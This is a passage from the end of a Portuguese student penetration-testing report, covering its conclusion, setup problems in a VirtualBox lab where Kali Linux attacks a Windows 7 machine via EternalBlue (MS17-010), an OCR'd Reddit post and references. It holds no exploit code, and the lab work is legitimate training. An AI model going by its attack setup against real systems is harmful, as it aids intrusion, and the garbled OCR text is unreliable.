reforcando como sistemas desatualizados se tornam alvos faceis para invasores.

Além de técnicas ofensivas, o relatério teve como objetivo principal educar, demonstrar
e conscientizar. Todas as etapas descritas foram realizadas em ambientes de teste, com
fins exclusivamente didaticos, seguindo principios éticos.

Por fim, fica evidente que a seguran¢a da informacgao vai muito além da tecnologia: ela
envolve conhecimento, atualizagao constante, consciéncia dos riscos e boas praticas.
Espera-se que este material contribua para a formacao de profissionais mais preparados,
usuarios mais cautelosos e sistemas mais seguros.

Problemas/solucdes

Problema ao descobrir a versao correta do Kali Linux:

No inicio, houve dificuldade em identificar qual versao do Kali seria mais adequada
para realizar os testes de pentest com estabilidade. Versées muito novas podem ter
diferencas de compatibilidade com certas ferramentas, enquanto versoes antigas
podem estar desatualizadas.
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ISO vulneravel do Windows 7:

Nem toda imagem ISO do Windows 7 vem com as vulnerabilidades necessarias para
testes, como o EternalBlue. Apdés muita busca, com o apoio da comunidade no Reddit,
encontrei uma versdo funcional com SP1 no site confidvel archive.org, que serviu
perfeitamente para o experimento.

>

P "/rretasploit
usprog-s-sousa

NMetasploit

Hi evervone, I'm'm AKIRA and | need some help with
Metasploit.

I'm working omn a project where | want to exploit a Windows 7
machin sing Metasploit (sp i —ally the MIS1T 7-0O010
vulnerat tTy). However, |l can't seerm to find an 1ISO of

wWindo 7 thhat is vulnerable.

Do anyone know where | can get a version of Windows 7
thhat is vulnerable to MS1 7-010 (EtermnalBlue)? I'm using
VirtualBox for miy setup.

Thanks in advance!

S8 <O = 2

> 2.0k views See More

b Awlkward_Ant_ 2656 FPro
> The sue was in the logs.
but your end rs had to
reportit. The

late or Nnot = -

Spotflovw you can set
conditions on vyour device
logs (error codes, patterns,
etc.) and get real-time alert__.

spotflow.io Learm More

Join the conversation

Figura 71_img_duvida_reddit

Problemas de rede no VirtualBox:
A configuracdo da rede entre as maquinas virtuais (Kali e Windows 7) foi um desafio.
Foi necessario ajustar o modo de rede para que ambas ficassem no mesmo ambiente

virtual e pudessem se comunicar.
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Maquinas ndo se enxergavam (Ping com erro):

Mesmo apds configurar a rede, o comando ping apresentava erro, indicando que as
maquinas ndo conseguiam se ver. O problema estava relacionado ao isolamento de
rede ou as configuragdes de firewall do préprio Windows.

| win7

192.168.100.5

Na mesma sub-rede

192.168.100.10

Kali-linux

Kali Linux sem internet:

Em determinado momento, o Kali ficou sem acesso a internet, o que impediu a
instalacdo e atualizacdo de ferramentas necessarias. Foi preciso revisar e corrigir as
configuracdes de rede NAT ou bridge no VirtualBox.

Problemas com a vulnerabilidade no Windows 7:

Apesar de saber que a versao era vulneravel ao EternalBlue, o ataque inicial falhou
devido a presenca do firewall e outros servigos de protec¢do ativos no Windows. Apds
desativar essas barreiras, a exploracao pdde ser realizada com sucesso.

57



®
<

Referencias

e https://solyd.com.br/aluno/

e https://www.netacad.com/catalogs/learn/cybersecurity

o Ethical Hacker
o Introduction to Cybersecurity

e https://www.youtube.com/@brunofragax

e https://github.com/

e https://excalidraw.com/#json=UddnK4mL8SMBHxGRqOmMFZ,xN4lrpvkGl-
y7UTkeO5dXw

58


https://solyd.com.br/aluno/
https://www.netacad.com/catalogs/learn/cybersecurity
https://www.youtube.com/@brunofragax
https://github.com/
https://excalidraw.com/#json=UddnK4mL8SMBHxGRqOmFZ,xN4lrpvkGl-y7UTkeO5dXw
https://excalidraw.com/#json=UddnK4mL8SMBHxGRqOmFZ,xN4lrpvkGl-y7UTkeO5dXw

